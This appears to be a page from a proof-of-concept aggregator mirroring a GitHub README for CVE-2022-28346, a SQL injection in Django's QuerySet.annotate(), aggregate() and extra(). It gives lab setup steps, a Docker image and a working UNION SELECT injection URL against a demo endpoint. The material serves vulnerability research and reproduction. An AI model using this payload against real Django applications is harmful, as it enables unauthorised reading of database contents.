CVE-2022-28346 PoC — Django SQL注入漏洞

Source

https://github.com/DeEpinGh0st/CVE-2022-28346

Associated Vulnerability

Title:Django SQL注入漏洞 (CVE-2022-28346)
Description:An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(), aggregate(), and extra() methods are subject to SQL injection in column aliases via a crafted dictionary (with dictionary expansion) as the passed **kwargs.

Description

Django QuerySet.annotate(), aggregate(), extra() SQL 注入

Readme

### CVE-2022-28346
Django QuerySet.annotate(), aggregate(), extra() SQL 注入

### 环境初始化
```
1.python manage.py makemigrations
2.python manage.py migrate
3.访问http://x.x.x.x:8000/ 插入初始化数据
```

### 漏洞复现

```
访问http://x.x.x.x:8000/demo
POC: http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
```

![image-20220426224053969](./image-20220426224053969.png)

### Docker

```
docker pull s0cke3t/cve-2022-28346:latest
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!